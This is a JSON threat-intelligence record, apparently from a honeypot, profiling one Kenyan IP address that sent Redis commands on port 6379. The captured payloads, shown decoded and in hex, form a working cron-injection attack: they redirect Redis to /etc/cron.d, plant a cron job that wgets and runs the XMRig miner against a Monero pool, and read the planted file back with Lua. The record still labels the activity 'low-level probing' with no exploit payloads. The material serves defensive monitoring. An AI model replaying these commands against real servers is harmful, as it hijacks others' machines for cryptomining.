{"ip":"102.210.28.12","total_events":15,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"residential ISP","why":["15 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range."]},"first_seen":"2026-07-07T16:57:18","last_seen":"2026-07-07T17:09:17","events_24h":0,"events_7d":0,"geo":{"country_code":"KE","country_name":"Kenya","region":"Nairobi County","city":"Nairobi","lat":-1.2841,"lon":36.8155,"asn":329014,"org":"Vilcom Networks Limited"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as329014","label":"Vilcom Networks Limited","category":"isp","url":"https://www.peeringdb.com/asn/329014"},"cve_matches":[],"malware":[],"top_ports":[{"port":6379,"proto":"tcp","label":"Redis","count":15}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":[]},"fingerprint_peers":{},"user_agents":[],"timeline":[{"date":"2026-07-07","count":15}],"recent_events":[{"timestamp":"2026-07-07T17:09:17","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$6\r\nCONFIG\r\n$3\r\nGET\r\n$3\r\ndir\r\n","payload_hex":"2a330d0a24360d0a434f4e4649470d0a24330d0a4745540d0a24330d0a6469720d0a","method":"","user_agent":"","community_id":"1:VMmULwVmdV57vF7a5FRKQhc4A+I=","ja3":"","session":"62695ac3-0f39-4a81-b2a8-c2c2029674cf","seq":1,"duration_ms":100,"bytes_in":34,"bytes_out":5,"enriched":{"digest":"6e396dc600a391e2","label":"Redis (RESP)","strings":["CONFIG"]}},{"timestamp":"2026-07-07T17:09:17","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$11\r\n/etc/cron.d\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2431310d0a2f6574632f63726f6e2e640d0a","method":"","user_agent":"","community_id":"1:nNkXVd6ChUW3IiS73nExS1Phfh4=","ja3":"","session":"fb643f26-c433-44d4-9239-126f2cc23bd6","seq":1,"duration_ms":100,"bytes_in":52,"bytes_out":5,"enriched":{"digest":"cb43bf20522aa121","label":"Redis (RESP)","strings":["CONFIG","/etc/cron.d"],"iocs":{"paths":["/etc/cron.d"]}}},{"timestamp":"2026-07-07T17:07:21","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$4\r\nEVAL\r\n$131\r\nlocal f=io and io.open('/etc/cron.d/xmrig-agent','rb'); if f then local d=f:read(200);f:close();return d else return'io_blocked'end\r\n$1\r\n0\r\n","payload_hex":"2a330d0a24340d0a4556414c0d0a243133310d0a6c6f63616c20663d696f20616e6420696f2e6f70656e28272f6574632f63726f6e2e642f786d7269672d6167656e74272c27726227293b2069662066207468656e206c6f63616c20643d663a7265616428323030293b663a636c6f736528293b72657475726e206420656c73652072657475726e27696f5f626c6f636b656427656e640d0a24310d0a300d0a","method":"","user_agent":"","community_id":"1:4LJGNwMYeASkHpbdVuTbTDplMAE=","ja3":"","session":"1e0f3722-af1a-4871-b8a5-c7344c3310d5","seq":1,"duration_ms":100,"bytes_in":160,"bytes_out":5,"enriched":{"digest":"85f87eca4ba88eb8","label":"Redis (RESP)","strings":["EVAL","$131","local f=io and io.open('/etc/cron.d/xmrig-agent','rb'); if f then local d=f:read…"],"iocs":{"domains":["io.open"],"paths":["/etc/cron.d/xmrig-agent"]}}},{"timestamp":"2026-07-07T17:07:21","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$6\r\nCONFIG\r\n$3\r\nGET\r\n$10\r\ndbfilename\r\n","payload_hex":"2a330d0a24360d0a434f4e4649470d0a24330d0a4745540d0a2431300d0a646266696c656e616d650d0a","method":"","user_agent":"","community_id":"1:jRppIjdcAtQ0r/L4tMPZKqi+Apg=","ja3":"","session":"816c4e36-1873-4f98-b1e8-69c7c31efa40","seq":1,"duration_ms":100,"bytes_in":42,"bytes_out":5,"enriched":{"digest":"ae7a954eba732d9f","label":"Redis (RESP)","strings":["CONFIG","dbfilename"]}},{"timestamp":"2026-07-07T17:07:20","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$11\r\n/etc/cron.d\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2431310d0a2f6574632f63726f6e2e640d0a","method":"","user_agent":"","community_id":"1:22bOOmgYePUhUZkMiztg/eAJh2Y=","ja3":"","session":"42c88237-3f30-4298-aa55-bc57a912b1b6","seq":1,"duration_ms":100,"bytes_in":52,"bytes_out":5,"enriched":{"digest":"cb43bf20522aa121","label":"Redis (RESP)","strings":["CONFIG","/etc/cron.d"],"iocs":{"paths":["/etc/cron.d"]}}},{"timestamp":"2026-07-07T17:06:45","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nSAVE\r\n","payload_hex":"2a310d0a24340d0a534156450d0a","method":"","user_agent":"","community_id":"1:DNukrZAAKEcgZz5OPZFfjKQPKaY=","ja3":"","session":"f9e1f785-4e90-4cd3-951d-e507bcdfb56e","seq":1,"duration_ms":100,"bytes_in":14,"bytes_out":5,"enriched":{"digest":"d5e6ea1662e03f90","label":"Redis (RESP)","strings":["SAVE"]}},{"timestamp":"2026-07-07T17:06:45","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$3\r\nSET\r\n$3\r\njob\r\n$358\r\n\n*/2 * * * * root wget -q https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -O /tmp/x.tar.gz && tar xzf /tmp/x.tar.gz -C /tmp && /tmp/xmrig-6.22.2/xmrig -o gulf.moneroocean.stream:20004 -u 46o25fS5CSedTsaZxt2AQxEQfwmj5A6n9Rja2V3RVKQsQYCJ5SbH9Uu6toCGBxKgr37LuFVGSTzMUbyPya4vSGnZNcUjW1i --tls -k --donate-level 0 -B\n\r\n","payload_hex":"2a330d0a24330d0a5345540d0a24330d0a6a6f620d0a243335380d0a0a2a2f32202a202a202a202a20726f6f742077676574202d712068747470733a2f2f6769746875622e636f6d2f786d7269672f786d7269672f72656c65617365732f646f776e6c6f61642f76362e32322e322f786d7269672d362e32322e322d6c696e75782d7374617469632d7836342e7461722e677a202d4f202f746d702f782e7461722e677a2026262074617220787a66202f746d702f782e7461722e677a202d43202f746d70202626202f746d702f786d7269672d362e32322e322f786d726967202d6f2067756c662e6d6f6e65726f6f6365616e2e73747265616d3a3230303034202d752034366f3235665335435365645473615a787432415178455166776d6a3541366e39526a6132563352564b51735159434a3553624839557536746f434742784b677233374c7546564753547a4d556279507961347653476e5a4e63556a573169202d2d746c73202d6b202d2d646f6e6174652d6c6576656c2030202d420a0d0a","method":"","user_agent":"","community_id":"1:Ith0igg8+2n5DCJm2BMDaKMsOqY=","ja3":"","session":"e84e3516-a659-4260-a702-550fd9a55e09","seq":1,"duration_ms":100,"bytes_in":388,"bytes_out":5,"enriched":{"digest":"f738b69515473c2b","label":"Redis (RESP)","strings":["$358","*/2 * * * * root wget -q https://github.com/xmrig/xmrig/releases/download/v6.22.…"],"iocs":{"urls":["https://github.com/xmrig/xmrig/releases/download/v6.22.…"],"domains":["github.com"],"paths":["/github.com/xmrig/xmrig/releases/download/v6.22."]}}},{"timestamp":"2026-07-07T17:06:44","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$8\r\nFLUSHALL\r\n","payload_hex":"2a310d0a24380d0a464c555348414c4c0d0a","method":"","user_agent":"","community_id":"1:S05OiGCAPzCyyL/1rpfXWZiqiQY=","ja3":"","session":"6c373209-4830-413e-be10-22d1ef6ab310","seq":1,"duration_ms":100,"bytes_in":18,"bytes_out":5,"enriched":{"digest":"84f7370f3482d2f6","label":"Redis (RESP)","strings":["FLUSHALL"]}},{"timestamp":"2026-07-07T17:06:44","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$11\r\nxmrig-agent\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431300d0a646266696c656e616d650d0a2431310d0a786d7269672d6167656e740d0a","method":"","user_agent":"","community_id":"1:d3XydH7e/OZ2KCN+xvz+ELY6XwQ=","ja3":"","session":"f61be29a-9aa2-4a26-af2c-d3a695e941c6","seq":1,"duration_ms":100,"bytes_in":60,"bytes_out":5,"enriched":{"digest":"169395c815e653c6","label":"Redis (RESP)","strings":["CONFIG","dbfilename","xmrig-agent"]}},{"timestamp":"2026-07-07T17:06:43","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$11\r\n/etc/cron.d\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2431310d0a2f6574632f63726f6e2e640d0a","method":"","user_agent":"","community_id":"1:GrOnzvSXQKJht01WWDyeIP5JS5I=","ja3":"","session":"af9d54d3-4a23-45f1-92ce-b217e199eef5","seq":1,"duration_ms":100,"bytes_in":52,"bytes_out":5,"enriched":{"digest":"cb43bf20522aa121","label":"Redis (RESP)","strings":["CONFIG","/etc/cron.d"],"iocs":{"paths":["/etc/cron.d"]}}}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[],"data_as_of":"2026-07-29T15:00:37.180371+00:00"}